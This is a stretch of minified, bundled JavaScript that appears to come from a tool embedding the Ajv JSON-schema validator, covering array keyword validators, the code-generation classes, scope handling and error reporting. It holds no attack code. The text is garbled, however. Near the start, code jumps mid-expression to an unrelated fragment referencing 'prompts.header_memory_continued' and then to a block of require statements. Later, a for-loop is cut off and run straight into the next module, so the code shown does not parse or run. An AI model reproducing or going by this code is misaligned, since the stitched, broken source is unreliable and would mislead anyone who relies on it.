u=="object"&&!(0,r.alwaysValidSchema)(f,u)){let b=c.var("valid",(0,e._)`${m} <= ${o.length}`);c.if((0,e.not)(b),()=>g(b)),i.ok(b)}function g(b){c.forRange("i",o.length,m,p=>{i.subschema({keyword:d,dataProp:p,dataPropType:r.Type.Num},b),f.allErrors||c.if((0,e.not)(b),()=>c.break())})}}t.validateAdditionalItems=s,t.default=a}),F1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateTuple=void 0;var e=Be(),r=Xe(),n=Dr(),a={keyword:"items",type:"array",schemaType:["object","array","boolean"],before:"uniqueItems",code(i){let{schema:o,it:c}=i;if(Array.isArray(o))return s(i,"additionalItems",o);c.items=!0,!(0,r.alwaysValidSchema)(c,o)&&i.ok((0,n.validateArray)(i))}};function s(i,o,c=i.schema){let{gen:u,parentSchema:l,data:d,keyword:f,it:m}=i;p(l),m.opts.unevaluated&&c.length&&m.items!==!0&&(m.items=r.mergeEvaluated.items(u,c.length,m.items));let g=u.name("valid"),b=u.const("len",(0,e._)`${d}.length`);c.forEach((h,y)=>{(0,r.alwaysValidSchema)(m,h)||(u.if((0,e._)`${b} > ${y}`,()=>i.subschema({keyword:f,schemaProp:y,dataProp:y},g)),i.ok(g))});function p(h){let{opts:y,errSchemaPath:v}=m,_=c.length,S=_===h.minItems&&(_===h.maxItems||h[o]===!1);if(y.strictTuples&&!S){let x=`"${f}" is ${_}-tuple, but minItems or maxItems/${o} are not specified or different at path "${v}"`;(0,r.checkStrictMode)(m,x,y.strictTuples)}}}t.validateTuple=s,t.default=a}),_q=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=F1(),r={keyword:"prefixItems",type:"array",schemaType:["array"],before:"uniqueItems",code:n=>(0,e.validateTuple)(n,"items")};t.default=r}),bq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=Dr(),a=L1(),s={message:({params:{len:o}})=>(0,e.str)`must NOT have more than ${o} items`,params:({params:{len:o}})=>(0,e._)`{limit: ${o}}`},i={keyword:"items",type:"array",schemaType:["object","boolean"],before:"uniqueItems",error:s,code(o){let{schema:c,parentSchema:u,it:l}=o,{prefixItems:d}=u;l.items=!0,!(0,r.alwaysValidSchema)(l,c)&&(d?(0,a.validateAdditionalItems)(o,d):o.ok((0,n.validateArray)(o)))}};t.default=i}),xq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:({params:{min:s,max:i}})=>i===void 0?(0,e.str)`must contain at least ${s} valid item(s)`:(0,e.str)`must contain at least ${s} and no more than ${i} valid item(s)`,params:({params:{min:s,max:i}})=>i===void 0?(0,e._)`{minContains: ${s}}`:(0,e._)`{minContains: ${s}, maxContains: ${i}}`},a={keyword:"contains",type:"array",schemaType:["object","boolean"],before:"uniqueItems",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,data:u,it:l}=s,d,f,{minContains:m,maxContains:g}=c;l.opts.next?(d=m===void 0?1:m,f=g):d=1;let b=i.const("len",(0,e._)`${u}.length`);if(s.setParams({min:d,max:f}),f===void 0&&d===0){(0,r.checkStrictMode)(l,'"minContains" == 0 without "maxContains": "contains" keyword ignored');return}if(f!==void 0&&d>f){(0,r.checkStrictMode)(l,'"minContains" > "maxContains" is always invalid'),s.fail();return}if((0,r.alwaysValidSchema)(l,o)){let _=(0,e._)`${b} >= ${d}`;f!==void 0&&(_=(0,e._)`${_} && ${b} <= ${f}`),s.pass(_);return}l.items=!0;let p=i.name("valid");f===void 0&&d===1?y(p,()=>i.if(p,()=>i.break())):d===0?(i.let(p,!0),f!==void 0&&i.if((0,e._)`${u}.length > 0`,h)):(i.let(p,!1),h()),s.result(p,()=>s.reset());function h(){let _=i.name("_valid"),S=i.let("count",0);y(_,()=>i.if(_,()=>v(S)))}function y(_,S){i.forRange("i",0,b,x=>{s.subschema({keyword:"contains",dataProp:x,dataPropType:r.Type.Num,compositeRule:!0},_),S()})}function v(_){i.code((0,e._)`${_}++`),f===void 0?i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0).break()):(i.if((0,e._)`${_} > ${f}`,()=>i.assign(p,!1).break()),d===1?i.assign(p,!0):i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0)))}}};t.default=a}),wq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateSchemaDeps=t.validatePropertyDeps=t.error=void 0;var e=Be(),r=Xe(),n=Dr();t.error={message:({params:{property:c,depsCount:u,deps:l}})=>{let d=u===1?"property":"properties";return(0,e.str)`must have ${d} ${l} when property ${c} is present`},params:({params:{property:c,depsCount:u,deps:l,missingProperty:d}})=>(0,e._)`{property: ${c}, +${n.prompts.header_memory_continued}`}Dr();dr();La();var tm=require("path"),aT=require("url"),nT=require("events"),iT=require("child_process"),oT=require("readline"),Ee=kt(require("fs"),1),cT=require("fs/promises"),fT=require("path"),mT=require("os"),jn=require("path"),vT=require("process"),gT=require("fs"),yT=require("crypto"),wT=require("crypto"),si=require("fs"),rm=require("path"),ST=require("crypto");var S7={},dq=Object.create,pq=Object.getPrototypeOf,em=Object.defineProperty,fq=Object.getOwnPropertyNames,mq=Object.prototype.hasOwnProperty,B1=(t,e,r)=>{r=t!=null?dq(pq(t)):{};let n=e||!t||!t.__esModule?em(r,"default",{value:t,enumerable:!0}):r;for(let a of fq(t))mq.call(n,a)||em(n,a,{get:()=>t[a],enumerable:!0});return n},Q=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),V1=(t,e)=>{for(var r in e)em(t,r,{get:e[r],enumerable:!0,configurable:!0,set:n=>e[r]=()=>n})};var Zu=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.regexpCode=t.getEsmExportName=t.getProperty=t.safeStringify=t.stringify=t.strConcat=t.addCodeArg=t.str=t._=t.nil=t._Code=t.Name=t.IDENTIFIER=t._CodeOrName=void 0;class e{}t._CodeOrName=e,t.IDENTIFIER=/^[a-z$_][a-z$_0-9]*$/i;class r extends e{constructor(y){if(super(),!t.IDENTIFIER.test(y))throw new Error("CodeGen: name must be a valid identifier");this.str=y}toString(){return this.str}emptyStr(){return!1}get names(){return{[this.str]:1}}}t.Name=r;class n extends e{constructor(y){super(),this._items=typeof y=="string"?[y]:y}toString(){return this.str}emptyStr(){if(this._items.length>1)return!1;let y=this._items[0];return y===""||y==='""'}get str(){var y;return(y=this._str)!==null&&y!==void 0?y:this._str=this._items.reduce((v,_)=>`${v}${_}`,"")}get names(){var y;return(y=this._names)!==null&&y!==void 0?y:this._names=this._items.reduce((v,_)=>(_ instanceof r&&(v[_.str]=(v[_.str]||0)+1),v),{})}}t._Code=n,t.nil=new n("");function a(h,...y){let v=[h[0]],_=0;for(;_{Object.defineProperty(t,"__esModule",{value:!0}),t.ValueScope=t.ValueScopeName=t.Scope=t.varKinds=t.UsedValueState=void 0;var e=Zu();class r extends Error{constructor(u){super(`CodeGen: "code" for ${u} not defined`),this.value=u.value}}var n;(function(c){c[c.Started=0]="Started",c[c.Completed=1]="Completed"})(n||(t.UsedValueState=n={})),t.varKinds={const:new e.Name("const"),let:new e.Name("let"),var:new e.Name("var")};class a{constructor({prefixes:u,parent:l}={}){this._names={},this._prefixes=u,this._parent=l}toName(u){return u instanceof e.Name?u:this.name(u)}name(u){return new e.Name(this._newName(u))}_newName(u){let l=this._names[u]||this._nameGroup(u);return`${u}${l.index++}`}_nameGroup(u){var l,d;if(!((d=(l=this._parent)===null||l===void 0?void 0:l._prefixes)===null||d===void 0)&&d.has(u)||this._prefixes&&!this._prefixes.has(u))throw new Error(`CodeGen: prefix "${u}" is not allowed in this scope`);return this._names[u]={prefix:u,index:0}}}t.Scope=a;class s extends e.Name{constructor(u,l){super(l),this.prefix=u}setValue(u,{property:l,itemIndex:d}){this.value=u,this.scopePath=(0,e._)`.${new e.Name(l)}[${d}]`}}t.ValueScopeName=s;var i=(0,e._)`\n`;class o extends a{constructor(u){super(u),this._values={},this._scope=u.scope,this.opts={...u,_n:u.lines?i:e.nil}}get(){return this._scope}name(u){return new s(u,this._newName(u))}value(u,l){var d;if(l.ref===void 0)throw new Error("CodeGen: ref must be passed in value");let f=this.toName(u),{prefix:m}=f,g=(d=l.key)!==null&&d!==void 0?d:l.ref,b=this._values[m];if(b){let y=b.get(g);if(y)return y}else b=this._values[m]=new Map;b.set(g,f);let p=this._scope[m]||(this._scope[m]=[]),h=p.length;return p[h]=l.ref,f.setValue(l,{property:m,itemIndex:h}),f}getValue(u,l){let d=this._values[u];if(d)return d.get(l)}scopeRefs(u,l=this._values){return this._reduceValues(l,d=>{if(d.scopePath===void 0)throw new Error(`CodeGen: name "${d}" has no value`);return(0,e._)`${u}${d.scopePath}`})}scopeCode(u=this._values,l,d){return this._reduceValues(u,f=>{if(f.value===void 0)throw new Error(`CodeGen: name "${f}" has no value`);return f.value.code},l,d)}_reduceValues(u,l,d={},f){let m=e.nil;for(let g in u){let b=u[g];if(!b)continue;let p=d[g]=d[g]||new Map;b.forEach(h=>{if(p.has(h))return;p.set(h,n.Started);let y=l(h);if(y){let v=this.opts.es5?t.varKinds.var:t.varKinds.const;m=(0,e._)`${m}${v} ${h} = ${y};${this.opts._n}`}else if(y=f?.(h))m=(0,e._)`${m}${y}${this.opts._n}`;else throw new r(h);p.set(h,n.Completed)})}return m}}t.ValueScope=o}),Be=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.or=t.and=t.not=t.CodeGen=t.operators=t.varKinds=t.ValueScopeName=t.ValueScope=t.Scope=t.Name=t.regexpCode=t.stringify=t.getProperty=t.nil=t.strConcat=t.str=t._=void 0;var e=Zu(),r=p1(),n=Zu();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return n._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return n.str}}),Object.defineProperty(t,"strConcat",{enumerable:!0,get:function(){return n.strConcat}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return n.nil}}),Object.defineProperty(t,"getProperty",{enumerable:!0,get:function(){return n.getProperty}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return n.stringify}}),Object.defineProperty(t,"regexpCode",{enumerable:!0,get:function(){return n.regexpCode}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return n.Name}});var a=p1();Object.defineProperty(t,"Scope",{enumerable:!0,get:function(){return a.Scope}}),Object.defineProperty(t,"ValueScope",{enumerable:!0,get:function(){return a.ValueScope}}),Object.defineProperty(t,"ValueScopeName",{enumerable:!0,get:function(){return a.ValueScopeName}}),Object.defineProperty(t,"varKinds",{enumerable:!0,get:function(){return a.varKinds}}),t.operators={GT:new e._Code(">"),GTE:new e._Code(">="),LT:new e._Code("<"),LTE:new e._Code("<="),EQ:new e._Code("==="),NEQ:new e._Code("!=="),NOT:new e._Code("!"),OR:new e._Code("||"),AND:new e._Code("&&"),ADD:new e._Code("+")};class s{optimizeNodes(){return this}optimizeNames(w,k){return this}}class i extends s{constructor(w,k,M){super(),this.varKind=w,this.name=k,this.rhs=M}render({es5:w,_n:k}){let M=w?r.varKinds.var:this.varKind,K=this.rhs===void 0?"":` = ${this.rhs}`;return`${M} ${this.name}${K};`+k}optimizeNames(w,k){if(w[this.name.str])return this.rhs&&(this.rhs=A(this.rhs,w,k)),this}get names(){return this.rhs instanceof e._CodeOrName?this.rhs.names:{}}}class o extends s{constructor(w,k,M){super(),this.lhs=w,this.rhs=k,this.sideEffects=M}render({_n:w}){return`${this.lhs} = ${this.rhs};`+w}optimizeNames(w,k){if(!(this.lhs instanceof e.Name&&!w[this.lhs.str]&&!this.sideEffects))return this.rhs=A(this.rhs,w,k),this}get names(){let w=this.lhs instanceof e.Name?{}:{...this.lhs.names};return H(w,this.rhs)}}class c extends o{constructor(w,k,M,K){super(w,M,K),this.op=k}render({_n:w}){return`${this.lhs} ${this.op}= ${this.rhs};`+w}}class u extends s{constructor(w){super(),this.label=w,this.names={}}render({_n:w}){return`${this.label}:`+w}}class l extends s{constructor(w){super(),this.label=w,this.names={}}render({_n:w}){return`break${this.label?` ${this.label}`:""};`+w}}class d extends s{constructor(w){super(),this.error=w}render({_n:w}){return`throw ${this.error};`+w}get names(){return this.error.names}}class f extends s{constructor(w){super(),this.code=w}render({_n:w}){return`${this.code};`+w}optimizeNodes(){return`${this.code}`?this:void 0}optimizeNames(w,k){return this.code=A(this.code,w,k),this}get names(){return this.code instanceof e._CodeOrName?this.code.names:{}}}class m extends s{constructor(w=[]){super(),this.nodes=w}render(w){return this.nodes.reduce((k,M)=>k+M.render(w),"")}optimizeNodes(){let{nodes:w}=this,k=w.length;for(;k--;){let M=w[k].optimizeNodes();Array.isArray(M)?w.splice(k,1,...M):M?w[k]=M:w.splice(k,1)}return w.length>0?this:void 0}optimizeNames(w,k){let{nodes:M}=this,K=M.length;for(;K--;){let J=M[K];J.optimizeNames(w,k)||(W(w,J.names),M.splice(K,1))}return M.length>0?this:void 0}get names(){return this.nodes.reduce((w,k)=>q(w,k.names),{})}}class g extends m{render(w){return"{"+w._n+super.render(w)+"}"+w._n}}class b extends m{}class p extends g{}p.kind="else";class h extends g{constructor(w,k){super(k),this.condition=w}render(w){let k=`if(${this.condition})`+super.render(w);return this.else&&(k+="else "+this.else.render(w)),k}optimizeNodes(){super.optimizeNodes();let w=this.condition;if(w===!0)return this.nodes;let k=this.else;if(k){let M=k.optimizeNodes();k=this.else=Array.isArray(M)?new p(M):M}if(k)return w===!1?k instanceof h?k:k.nodes:this.nodes.length?this:new h(oe(w),k instanceof h?[k]:k.nodes);if(!(w===!1||!this.nodes.length))return this}optimizeNames(w,k){var M;if(this.else=(M=this.else)===null||M===void 0?void 0:M.optimizeNames(w,k),!!(super.optimizeNames(w,k)||this.else))return this.condition=A(this.condition,w,k),this}get names(){let w=super.names;return H(w,this.condition),this.else&&q(w,this.else.names),w}}h.kind="if";class y extends g{}y.kind="for";class v extends y{constructor(w){super(),this.iteration=w}render(w){return`for(${this.iteration})`+super.render(w)}optimizeNames(w,k){if(super.optimizeNames(w,k))return this.iteration=A(this.iteration,w,k),this}get names(){return q(super.names,this.iteration.names)}}class _ extends y{constructor(w,k,M,K){super(),this.varKind=w,this.name=k,this.from=M,this.to=K}render(w){let k=w.es5?r.varKinds.var:this.varKind,{name:M,from:K,to:J}=this;return`for(${k} ${M}=${K}; ${M}<${J}; ${M}++)`+super.render(w)}get names(){let w=H(super.names,this.from);return H(w,this.to)}}class S extends y{constructor(w,k,M,K){super(),this.loop=w,this.varKind=k,this.name=M,this.iterable=K}render(w){return`for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})`+super.render(w)}optimizeNames(w,k){if(super.optimizeNames(w,k))return this.iterable=A(this.iterable,w,k),this}get names(){return q(super.names,this.iterable.names)}}class x extends g{constructor(w,k,M){super(),this.name=w,this.args=k,this.async=M}render(w){return`${this.async?"async ":""}function ${this.name}(${this.args})`+super.render(w)}}x.kind="func";class E extends m{render(w){return"return "+super.render(w)}}E.kind="return";class T extends g{render(w){let k="try"+super.render(w);return this.catch&&(k+=this.catch.render(w)),this.finally&&(k+=this.finally.render(w)),k}optimizeNodes(){var w,k;return super.optimizeNodes(),(w=this.catch)===null||w===void 0||w.optimizeNodes(),(k=this.finally)===null||k===void 0||k.optimizeNodes(),this}optimizeNames(w,k){var M,K;return super.optimizeNames(w,k),(M=this.catch)===null||M===void 0||M.optimizeNames(w,k),(K=this.finally)===null||K===void 0||K.optimizeNames(w,k),this}get names(){let w=super.names;return this.catch&&q(w,this.catch.names),this.finally&&q(w,this.finally.names),w}}class $ extends g{constructor(w){super(),this.error=w}render(w){return`catch(${this.error})`+super.render(w)}}$.kind="catch";class N extends g{render(w){return"finally"+super.render(w)}}N.kind="finally";class j{constructor(w,k={}){this._values={},this._blockStarts=[],this._constants={},this.opts={...k,_n:k.lines?` +`:""},this._extScope=w,this._scope=new r.Scope({parent:w}),this._nodes=[new b]}toString(){return this._root.render(this.opts)}name(w){return this._scope.name(w)}scopeName(w){return this._extScope.name(w)}scopeValue(w,k){let M=this._extScope.value(w,k);return(this._values[M.prefix]||(this._values[M.prefix]=new Set)).add(M),M}getScopeValue(w,k){return this._extScope.getValue(w,k)}scopeRefs(w){return this._extScope.scopeRefs(w,this._values)}scopeCode(){return this._extScope.scopeCode(this._values)}_def(w,k,M,K){let J=this._scope.toName(k);return M!==void 0&&K&&(this._constants[J.str]=M),this._leafNode(new i(w,J,M)),J}const(w,k,M){return this._def(r.varKinds.const,w,k,M)}let(w,k,M){return this._def(r.varKinds.let,w,k,M)}var(w,k,M){return this._def(r.varKinds.var,w,k,M)}assign(w,k,M){return this._leafNode(new o(w,k,M))}add(w,k){return this._leafNode(new c(w,t.operators.ADD,k))}code(w){return typeof w=="function"?w():w!==e.nil&&this._leafNode(new f(w)),this}object(...w){let k=["{"];for(let[M,K]of w)k.length>1&&k.push(","),k.push(M),(M!==K||this.opts.es5)&&(k.push(":"),(0,e.addCodeArg)(k,K));return k.push("}"),new e._Code(k)}if(w,k,M){if(this._blockNode(new h(w)),k&&M)this.code(k).else().code(M).endIf();else if(k)this.code(k).endIf();else if(M)throw new Error('CodeGen: "else" body without "then" body');return this}elseIf(w){return this._elseNode(new h(w))}else(){return this._elseNode(new p)}endIf(){return this._endBlockNode(h,p)}_for(w,k){return this._blockNode(w),k&&this.code(k).endFor(),this}for(w,k){return this._for(new v(w),k)}forRange(w,k,M,K,J=this.opts.es5?r.varKinds.var:r.varKinds.let){let de=this._scope.toName(w);return this._for(new _(J,de,k,M),()=>K(de))}forOf(w,k,M,K=r.varKinds.const){let J=this._scope.toName(w);if(this.opts.es5){let de=k instanceof e.Name?k:this.var("_arr",k);return this.forRange("_i",0,(0,e._)`${de}.length`,se=>{this.var(J,(0,e._)`${de}[${se}]`),M(J)})}return this._for(new S("of",K,J,k),()=>M(J))}forIn(w,k,M,K=this.opts.es5?r.varKinds.var:r.varKinds.const){if(this.opts.ownProperties)return this.forOf(w,(0,e._)`Object.keys(${k})`,M);let J=this._scope.toName(w);return this._for(new S("in",K,J,k),()=>M(J))}endFor(){return this._endBlockNode(y)}label(w){return this._leafNode(new u(w))}break(w){return this._leafNode(new l(w))}return(w){let k=new E;if(this._blockNode(k),this.code(w),k.nodes.length!==1)throw new Error('CodeGen: "return" should have one node');return this._endBlockNode(E)}try(w,k,M){if(!k&&!M)throw new Error('CodeGen: "try" without "catch" and "finally"');let K=new T;if(this._blockNode(K),this.code(w),k){let J=this.name("e");this._currNode=K.catch=new $(J),k(J)}return M&&(this._currNode=K.finally=new N,this.code(M)),this._endBlockNode($,N)}throw(w){return this._leafNode(new d(w))}block(w,k){return this._blockStarts.push(this._nodes.length),w&&this.code(w).endBlock(k),this}endBlock(w){let k=this._blockStarts.pop();if(k===void 0)throw new Error("CodeGen: not in self-balancing block");let M=this._nodes.length-k;if(M<0||w!==void 0&&M!==w)throw new Error(`CodeGen: wrong number of nodes: ${M} vs ${w} expected`);return this._nodes.length=k,this}func(w,k=e.nil,M,K){return this._blockNode(new x(w,k,M)),K&&this.code(K).endFunc(),this}endFunc(){return this._endBlockNode(x)}optimize(w=1){for(;w-- >0;)this._root.optimizeNodes(),this._root.optimizeNames(this._root.names,this._constants)}_leafNode(w){return this._currNode.nodes.push(w),this}_blockNode(w){this._currNode.nodes.push(w),this._nodes.push(w)}_endBlockNode(w,k){let M=this._currNode;if(M instanceof w||k&&M instanceof k)return this._nodes.pop(),this;throw new Error(`CodeGen: not in block "${k?`${w.kind}/${k.kind}`:w.kind}"`)}_elseNode(w){let k=this._currNode;if(!(k instanceof h))throw new Error('CodeGen: "else" without "if"');return this._currNode=k.else=w,this}get _root(){return this._nodes[0]}get _currNode(){let w=this._nodes;return w[w.length-1]}set _currNode(w){let k=this._nodes;k[k.length-1]=w}}t.CodeGen=j;function q(I,w){for(let k in w)I[k]=(I[k]||0)+(w[k]||0);return I}function H(I,w){return w instanceof e._CodeOrName?q(I,w.names):I}function A(I,w,k){if(I instanceof e.Name)return M(I);if(!K(I))return I;return new e._Code(I._items.reduce((J,de)=>(de instanceof e.Name&&(de=M(de)),de instanceof e._Code?J.push(...de._items):J.push(de),J),[]));function M(J){let de=k[J.str];return de===void 0||w[J.str]!==1?J:(delete w[J.str],de)}function K(J){return J instanceof e._Code&&J._items.some(de=>de instanceof e.Name&&w[de.str]===1&&k[de.str]!==void 0)}}function W(I,w){for(let k in w)I[k]=(I[k]||0)-(w[k]||0)}function oe(I){return typeof I=="boolean"||typeof I=="number"||I===null?!I:(0,e._)`!${z(I)}`}t.not=oe;var he=R(t.operators.AND);function ne(...I){return I.reduce(he)}t.and=ne;var re=R(t.operators.OR);function F(...I){return I.reduce(re)}t.or=F;function R(I){return(w,k)=>w===e.nil?k:k===e.nil?w:(0,e._)`${z(w)} ${I} ${z(k)}`}function z(I){return I instanceof e.Name?I:(0,e._)`(${I})`}}),Xe=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.checkStrictMode=t.getErrorPath=t.Type=t.useFunc=t.setEvaluated=t.evaluatedPropsToName=t.mergeEvaluated=t.eachItem=t.unescapeJsonPointer=t.escapeJsonPointer=t.escapeFragment=t.unescapeFragment=t.schemaRefOrVal=t.schemaHasRulesButRef=t.schemaHasRules=t.checkUnknownRules=t.alwaysValidSchema=t.toHash=void 0;var e=Be(),r=Zu();function n(x){let E={};for(let T of x)E[T]=!0;return E}t.toHash=n;function a(x,E){return typeof E=="boolean"?E:Object.keys(E).length===0?!0:(s(x,E),!i(E,x.self.RULES.all))}t.alwaysValidSchema=a;function s(x,E=x.schema){let{opts:T,self:$}=x;if(!T.strictSchema||typeof E=="boolean")return;let N=$.RULES.keywords;for(let j in E)N[j]||S(x,`unknown keyword: "${j}"`)}t.checkUnknownRules=s;function i(x,E){if(typeof x=="boolean")return!x;for(let T in x)if(E[T])return!0;return!1}t.schemaHasRules=i;function o(x,E){if(typeof x=="boolean")return!x;for(let T in x)if(T!=="$ref"&&E.all[T])return!0;return!1}t.schemaHasRulesButRef=o;function c({topSchemaRef:x,schemaPath:E},T,$,N){if(!N){if(typeof T=="number"||typeof T=="boolean")return T;if(typeof T=="string")return(0,e._)`${T}`}return(0,e._)`${x}${E}${(0,e.getProperty)($)}`}t.schemaRefOrVal=c;function u(x){return f(decodeURIComponent(x))}t.unescapeFragment=u;function l(x){return encodeURIComponent(d(x))}t.escapeFragment=l;function d(x){return typeof x=="number"?`${x}`:x.replace(/~/g,"~0").replace(/\//g,"~1")}t.escapeJsonPointer=d;function f(x){return x.replace(/~1/g,"/").replace(/~0/g,"~")}t.unescapeJsonPointer=f;function m(x,E){if(Array.isArray(x))for(let T of x)E(T);else E(x)}t.eachItem=m;function g({mergeNames:x,mergeToName:E,mergeValues:T,resultToName:$}){return(N,j,q,H)=>{let A=q===void 0?j:q instanceof e.Name?(j instanceof e.Name?x(N,j,q):E(N,j,q),q):j instanceof e.Name?(E(N,q,j),j):T(j,q);return H===e.Name&&!(A instanceof e.Name)?$(N,A):A}}t.mergeEvaluated={props:g({mergeNames:(x,E,T)=>x.if((0,e._)`${T} !== true && ${E} !== undefined`,()=>{x.if((0,e._)`${E} === true`,()=>x.assign(T,!0),()=>x.assign(T,(0,e._)`${T} || {}`).code((0,e._)`Object.assign(${T}, ${E})`))}),mergeToName:(x,E,T)=>x.if((0,e._)`${T} !== true`,()=>{E===!0?x.assign(T,!0):(x.assign(T,(0,e._)`${T} || {}`),p(x,T,E))}),mergeValues:(x,E)=>x===!0?!0:{...x,...E},resultToName:b}),items:g({mergeNames:(x,E,T)=>x.if((0,e._)`${T} !== true && ${E} !== undefined`,()=>x.assign(T,(0,e._)`${E} === true ? true : ${T} > ${E} ? ${T} : ${E}`)),mergeToName:(x,E,T)=>x.if((0,e._)`${T} !== true`,()=>x.assign(T,E===!0?!0:(0,e._)`${T} > ${E} ? ${T} : ${E}`)),mergeValues:(x,E)=>x===!0?!0:Math.max(x,E),resultToName:(x,E)=>x.var("items",E)})};function b(x,E){if(E===!0)return x.var("props",!0);let T=x.var("props",(0,e._)`{}`);return E!==void 0&&p(x,T,E),T}t.evaluatedPropsToName=b;function p(x,E,T){Object.keys(T).forEach($=>x.assign((0,e._)`${E}${(0,e.getProperty)($)}`,!0))}t.setEvaluated=p;var h={};function y(x,E){return x.scopeValue("func",{ref:E,code:h[E.code]||(h[E.code]=new r._Code(E.code))})}t.useFunc=y;var v;(function(x){x[x.Num=0]="Num",x[x.Str=1]="Str"})(v||(t.Type=v={}));function _(x,E,T){if(x instanceof e.Name){let $=E===v.Num;return T?$?(0,e._)`"[" + ${x} + "]"`:(0,e._)`"['" + ${x} + "']"`:$?(0,e._)`"/" + ${x}`:(0,e._)`"/" + ${x}.replace(/~/g, "~0").replace(/\\//g, "~1")`}return T?(0,e.getProperty)(x).toString():"/"+d(x)}t.getErrorPath=_;function S(x,E,T=x.opts.strictSchema){if(T){if(E=`strict mode: ${E}`,T===!0)throw new Error(E);x.self.logger.warn(E)}}t.checkStrictMode=S}),Va=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={data:new e.Name("data"),valCxt:new e.Name("valCxt"),instancePath:new e.Name("instancePath"),parentData:new e.Name("parentData"),parentDataProperty:new e.Name("parentDataProperty"),rootData:new e.Name("rootData"),dynamicAnchors:new e.Name("dynamicAnchors"),vErrors:new e.Name("vErrors"),errors:new e.Name("errors"),this:new e.Name("this"),self:new e.Name("self"),scope:new e.Name("scope"),json:new e.Name("json"),jsonPos:new e.Name("jsonPos"),jsonLen:new e.Name("jsonLen"),jsonPart:new e.Name("jsonPart")};t.default=r}),rl=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendErrors=t.resetErrorsCount=t.reportExtraError=t.reportError=t.keyword$DataError=t.keywordError=void 0;var e=Be(),r=Xe(),n=Va();t.keywordError={message:({keyword:p})=>(0,e.str)`must pass "${p}" keyword validation`},t.keyword$DataError={message:({keyword:p,schemaType:h})=>h?(0,e.str)`"${p}" keyword must be ${h} ($data)`:(0,e.str)`"${p}" keyword is invalid ($data)`};function a(p,h=t.keywordError,y,v){let{it:_}=p,{gen:S,compositeRule:x,allErrors:E}=_,T=d(p,h,y);v??(x||E)?c(S,T):u(_,(0,e._)`[${T}]`)}t.reportError=a;function s(p,h=t.keywordError,y){let{it:v}=p,{gen:_,compositeRule:S,allErrors:x}=v,E=d(p,h,y);c(_,E),S||x||u(v,n.default.vErrors)}t.reportExtraError=s;function i(p,h){p.assign(n.default.errors,h),p.if((0,e._)`${n.default.vErrors} !== null`,()=>p.if(h,()=>p.assign((0,e._)`${n.default.vErrors}.length`,h),()=>p.assign(n.default.vErrors,null)))}t.resetErrorsCount=i;function o({gen:p,keyword:h,schemaValue:y,data:v,errsCount:_,it:S}){if(_===void 0)throw new Error("ajv implementation error");let x=p.name("err");p.forRange("i",_,n.default.errors,E=>{p.const(x,(0,e._)`${n.default.vErrors}[${E}]`),p.if((0,e._)`${x}.instancePath === undefined`,()=>p.assign((0,e._)`${x}.instancePath`,(0,e.strConcat)(n.default.instancePath,S.errorPath))),p.assign((0,e._)`${x}.schemaPath`,(0,e.str)`${S.errSchemaPath}/${h}`),S.opts.verbose&&(p.assign((0,e._)`${x}.schema`,y),p.assign((0,e._)`${x}.data`,v))})}t.extendErrors=o;function c(p,h){let y=p.const("err",h);p.if((0,e._)`${n.default.vErrors} === null`,()=>p.assign(n.default.vErrors,(0,e._)`[${y}]`),(0,e._)`${n.default.vErrors}.push(${y})`),p.code((0,e._)`${n.default.errors}++`)}function u(p,h){let{gen:y,validateName:v,schemaEnv:_}=p;_.$async?y.throw((0,e._)`new ${p.ValidationError}(${h})`):(y.assign((0,e._)`${v}.errors`,h),y.return(!1))}var l={keyword:new e.Name("keyword"),schemaPath:new e.Name("schemaPath"),params:new e.Name("params"),propertyName:new e.Name("propertyName"),message:new e.Name("message"),schema:new e.Name("schema"),parentSchema:new e.Name("parentSchema")};function d(p,h,y){let{createErrors:v}=p.it;return v===!1?(0,e._)`{}`:f(p,h,y)}function f(p,h,y={}){let{gen:v,it:_}=p,S=[m(_,y),g(p,y)];return b(p,h,S),v.object(...S)}function m({errorPath:p},{instancePath:h}){let y=h?(0,e.str)`${p}${(0,r.getErrorPath)(h,r.Type.Str)}`:p;return[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,y)]}function g({keyword:p,it:{errSchemaPath:h}},{schemaPath:y,parentSchema:v}){let _=v?h:(0,e.str)`${h}/${p}`;return y&&(_=(0,e.str)`${_}${(0,r.getErrorPath)(y,r.Type.Str)}`),[l.schemaPath,_]}function b(p,{params:h,message:y},v){let{keyword:_,data:S,schemaValue:x,it:E}=p,{opts:T,propertyName:$,topSchemaRef:N,schemaPath:j}=E;v.push([l.keyword,_],[l.params,typeof h=="function"?h(p):h||(0,e._)`{}`]),T.messages&&v.push([l.message,typeof y=="function"?y(p):y]),T.verbose&&v.push([l.schema,x],[l.parentSchema,(0,e._)`${N}${j}`],[n.default.data,S]),$&&v.push([l.propertyName,$])}}),hq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.boolOrEmptySchema=t.topBoolOrEmptySchema=void 0;var e=rl(),r=Be(),n=Va(),a={message:"boolean schema is false"};function s(c){let{gen:u,schema:l,validateName:d}=c;l===!1?o(c,!1):typeof l=="object"&&l.$async===!0?u.return(n.default.data):(u.assign((0,r._)`${d}.errors`,null),u.return(!0))}t.topBoolOrEmptySchema=s;function i(c,u){let{gen:l,schema:d}=c;d===!1?(l.var(u,!1),o(c)):l.var(u,!0)}t.boolOrEmptySchema=i;function o(c,u){let{gen:l,data:d}=c,f={gen:l,keyword:"false 